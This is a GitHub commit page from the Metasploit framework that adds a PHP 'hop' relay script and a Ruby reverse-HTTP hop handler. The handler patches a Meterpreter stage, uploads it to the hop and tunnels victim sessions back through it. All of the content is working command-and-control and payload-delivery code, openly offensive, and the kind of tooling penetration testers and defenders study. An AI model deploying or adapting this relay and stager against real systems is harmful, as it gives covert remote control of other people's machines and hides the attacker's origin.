Skip to content

Commit 5961861

Browse files
author
HD Moore
committed
Merge rapid7#2809 into master
2 parents 5e7f356 + 6f433db commit 5961861

File tree

3 files changed

+661
-0
lines changed

3 files changed

+661
-0
lines changed

data/php/hop.php

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
<?php
2+
$magic = 'TzGq';
3+
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
4+
if(!is_dir($tempdir)){
5+
mkdir($tempdir); //make sure it's there
6+
}
7+
8+
//get url
9+
$url = $_SERVER["QUERY_STRING"];
10+
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
11+
12+
//Looks for a file with a name or contents prefix, if found, send it and deletes it
13+
function findSendDelete($tempdir, $prefix, $one=true){
14+
if($dh = opendir($tempdir)){
15+
while(($file = readdir($dh)) !== false){
16+
if(strpos($file, $prefix) !== 0){
17+
continue;
18+
}
19+
readfile($tempdir."/".$file);
20+
unlink($tempdir."/".$file);
21+
if($one){
22+
break;
23+
}
24+
}
25+
}
26+
}
27+
28+
//handle control
29+
if($url === "/control"){
30+
if($_SERVER['REQUEST_METHOD'] === 'POST'){
31+
//handle data for payload - save in a "down" file or the "init" file
32+
$postdata = file_get_contents("php://input");
33+
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
34+
$f = fopen($tempdir."/init", "w"); //only one init file
35+
}else{
36+
$prefix = "down_" . bin2hex($_SERVER['HTTP_X_URLFRAG']);
37+
$f = fopen(tempnam($tempdir,$prefix), "w");
38+
}
39+
fwrite($f, $postdata);
40+
fclose($f);
41+
}else{
42+
findSendDelete($tempdir, "up_", false);
43+
}
44+
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
45+
//get data
46+
$postdata = file_get_contents("php://input");
47+
//See if we should send anything down
48+
if($postdata === 'RECV'){
49+
findSendDelete($tempdir, "down_" . bin2hex($url));
50+
$fname = $tempdir . "/up_recv_" . bin2hex($url); //Only keep one RECV poll
51+
}else{
52+
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
53+
}
54+
//find free and write new file
55+
$f = fopen($fname, "w");
56+
fwrite($f, $magic);
57+
//Little-endian pack length and data
58+
$urlen = strlen($url);
59+
fwrite($f, pack('V', $urlen));
60+
fwrite($f, $url);
61+
$postdatalen = strlen($postdata);
62+
fwrite($f, pack('V', $postdatalen));
63+
fwrite($f, $postdata);
64+
fclose($f);
65+
//Initial query will be a GET and have a 12345 in it
66+
}else if(strpos($url, "12345") !== FALSE){
67+
readfile($tempdir."/init");
68+
}
Lines changed: 305 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,305 @@
1+
# -*- coding: binary -*-
2+
require 'rex/io/stream_abstraction'
3+
require 'rex/sync/ref'
4+
require 'msf/core/handler/reverse_http'
5+
require 'uri'
6+
7+
module Msf
8+
module Handler
9+
10+
###
11+
#
12+
# This handler implements the HTTP hop tunneling interface.
13+
# It acts like an HTTP server to the meterpreter packet dispatcher but
14+
# as an HTTP client to actually send and receive the data from the hop.
15+
#
16+
###
17+
module ReverseHopHttp
18+
19+
include Msf::Handler::ReverseHttp
20+
21+
#
22+
# Magic bytes to know we are talking to a valid hop
23+
#
24+
MAGIC = 'TzGq'
25+
26+
# hop_handlers is a class-level instance variable
27+
class << self; attr_accessor :hop_handlers end
28+
attr_accessor :monitor_thread # :nodoc:
29+
attr_accessor :handlers # :nodoc:
30+
attr_accessor :closed_handlers # :nodoc:
31+
attr_accessor :mclient # :nodoc:
32+
attr_accessor :current_url # :nodoc:
33+
attr_accessor :control # :nodoc:
34+
attr_accessor :refs # :nodoc:
35+
attr_accessor :lock # :nodoc:
36+
37+
#
38+
# Keeps track of what hops have active handlers
39+
#
40+
@hop_handlers = {}
41+
42+
#
43+
# Returns the string representation of the handler type
44+
#
45+
def self.handler_type
46+
return "reverse_hop_http"
47+
end
48+
49+
#
50+
# Returns the connection-described general handler type, in this case
51+
# 'tunnel'.
52+
#
53+
def self.general_handler_type
54+
"tunnel"
55+
end
56+
57+
#
58+
# Sets up a handler. Doesn't do much since it's all in start_handler.
59+
#
60+
def setup_handler
61+
self.handlers = {}
62+
self.closed_handlers = {}
63+
self.lock = Mutex.new
64+
end
65+
66+
#
67+
# Starts the handler along with a monitoring thread to handle data transfer
68+
#
69+
def start_handler
70+
# Our HTTP client and URL for talking to the hop
71+
uri = URI(full_uri)
72+
self.control = "#{uri.request_uri}control"
73+
self.mclient = Rex::Proto::Http::Client.new(
74+
uri.host,
75+
uri.port,
76+
{
77+
'Msf' => framework
78+
}
79+
)
80+
@running = true # So we know we can stop it
81+
# If someone is already monitoring this hop, bump the refcount instead of starting a new thread
82+
if ReverseHopHttp.hop_handlers.has_key?(full_uri)
83+
ReverseHopHttp.hop_handlers[full_uri].refs += 1
84+
return
85+
end
86+
87+
# Sometimes you just have to do everything yourself.
88+
# Declare ownership of this hop and spawn a thread to monitor it.
89+
self.refs = 1
90+
ReverseHopHttp.hop_handlers[full_uri] = self
91+
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
92+
self) do |uri, hop_http|
93+
hop_http.send_new_stage # send stage to hop
94+
delay = 1 # poll delay
95+
# Continue to loop as long as at least one handler or one session is depending on us
96+
until hop_http.refs < 1 && hop_http.handlers.empty?
97+
sleep delay
98+
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
99+
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
100+
res = hop_http.mclient.send_recv(crequest) # send poll to the hop
101+
next if res.nil?
102+
if res.error
103+
print_error(res.error)
104+
next
105+
end
106+
107+
# validate responses, handle each message down
108+
received = res.body
109+
until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC
110+
111+
# good response
112+
delay = 0 # we're talking, speed up
113+
urlen = received.slice!(0,4).unpack('V')[0]
114+
urlpath = received.slice!(0,urlen)
115+
datalen = received.slice!(0,4).unpack('V')[0]
116+
117+
# do not want handlers to change while we dispatch this
118+
hop_http.lock.lock
119+
#received now starts with the binary contents of the message
120+
if hop_http.handlers.include? urlpath
121+
pack = Rex::Proto::Http::Packet.new
122+
pack.body = received.slice!(0,datalen)
123+
hop_http.current_url = urlpath
124+
hop_http.handlers[urlpath].call(hop_http, pack)
125+
hop_http.lock.unlock
126+
elsif !closed_handlers.include? urlpath
127+
hop_http.lock.unlock
128+
#New session!
129+
conn_id = urlpath.gsub("/","")
130+
# Short-circuit the payload's handle_connection processing for create_session
131+
# We are the dispatcher since we need to handle the comms to the hop
132+
create_session(hop_http, {
133+
:passive_dispatcher => self,
134+
:conn_id => conn_id,
135+
:url => uri.to_s + conn_id + "/\x00",
136+
:expiration => datastore['SessionExpirationTimeout'].to_i,
137+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
138+
:ssl => false,
139+
})
140+
# send new stage to hop so next inbound session will get a unique ID.
141+
hop_http.send_new_stage
142+
else
143+
hop_http.lock.unlock
144+
end
145+
end
146+
end
147+
hop_http.monitor_thread = nil #make sure we're out
148+
ReverseHopHttp.hop_handlers.delete(full_uri)
149+
end
150+
end
151+
152+
#
153+
# Stops the handler and monitoring thread
154+
#
155+
def stop_handler
156+
# stop_handler is called like 3 times, don't decrement refcount unless we're still running
157+
if @running
158+
ReverseHopHttp.hop_handlers[full_uri].refs -= 1
159+
@running = false
160+
end
161+
end
162+
163+
#
164+
# Adds a resource. (handler for a session)
165+
#
166+
def add_resource(res, opts={})
167+
self.handlers[res] = opts['Proc']
168+
start_handler if monitor_thread.nil?
169+
end
170+
171+
#
172+
# Removes a resource.
173+
#
174+
def remove_resource(res)
175+
lock.lock
176+
handlers.delete(res)
177+
closed_handlers[res] = true
178+
lock.unlock
179+
end
180+
181+
#
182+
# Implemented for compatibility reasons, does nothing
183+
#
184+
def close_client(cli)
185+
end
186+
187+
#
188+
# Sends data to hop
189+
#
190+
def send_response(resp)
191+
if not resp.body.empty?
192+
crequest = mclient.request_raw(
193+
'method' => 'POST',
194+
'uri' => control,
195+
'data' => resp.body,
196+
'headers' => {'X-urlfrag' => current_url}
197+
)
198+
# if receiving POST data, hop does not send back data, so we can stop here
199+
mclient.send_recv(crequest)
200+
end
201+
end
202+
203+
#
204+
# Return the URI of the hop point.
205+
#
206+
def full_uri
207+
uri = datastore['HOPURL']
208+
return uri if uri.end_with?('/')
209+
return "#{uri}/" if uri.end_with?('?')
210+
"#{uri}?/"
211+
end
212+
213+
#
214+
# Returns a string representation of the local hop
215+
#
216+
def localinfo
217+
"Hop client"
218+
end
219+
220+
#
221+
# Returns the URL of the remote hop end
222+
#
223+
def peerinfo
224+
uri = URI(full_uri)
225+
"#{uri.host}:#{uri.port}"
226+
end
227+
228+
#
229+
# Initializes the Hop HTTP tunneling handler.
230+
#
231+
def initialize(info = {})
232+
super
233+
234+
register_options(
235+
[
236+
OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ])
237+
], Msf::Handler::ReverseHopHttp)
238+
239+
end
240+
241+
#
242+
# Generates and sends a stage up to the hop point to be ready for the next client
243+
#
244+
def send_new_stage
245+
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
246+
url = full_uri + conn_id + "/\x00"
247+
248+
print_status("Preparing stage for next session #{conn_id}")
249+
blob = stage_payload
250+
251+
# Replace the user agent string with our option
252+
i = blob.index("METERPRETER_UA\x00")
253+
if i
254+
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
255+
blob[i, str.length] = str
256+
end
257+
258+
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
259+
i = blob.index("METERPRETER_TRANSPORT_SSL")
260+
if i
261+
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
262+
blob[i, str.length] = str
263+
end
264+
265+
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
266+
i = blob.index("https://" + ("X" * 256))
267+
if i
268+
url = full_uri + conn_id + "/\x00"
269+
blob[i, url.length] = url
270+
end
271+
print_status("Patched URL at offset #{i}...")
272+
273+
i = blob.index([0xb64be661].pack("V"))
274+
if i
275+
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
276+
blob[i, str.length] = str
277+
end
278+
279+
i = blob.index([0xaf79257f].pack("V"))
280+
if i
281+
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
282+
blob[i, str.length] = str
283+
end
284+
285+
blob = encode_stage(blob)
286+
287+
#send up
288+
crequest = mclient.request_raw(
289+
'method' => 'POST',
290+
'uri' => control,
291+
'data' => blob,
292+
'headers' => {'X-init' => 'true'}
293+
)
294+
res = mclient.send_recv(crequest)
295+
print_status("Uploaded stage to hop #{full_uri}")
296+
print_error(res.error) if !res.nil? && res.error
297+
298+
#return conn info
299+
[conn_id, url]
300+
end
301+
302+
end
303+
304+
end
305+
end

0 commit comments

Comments
 (0)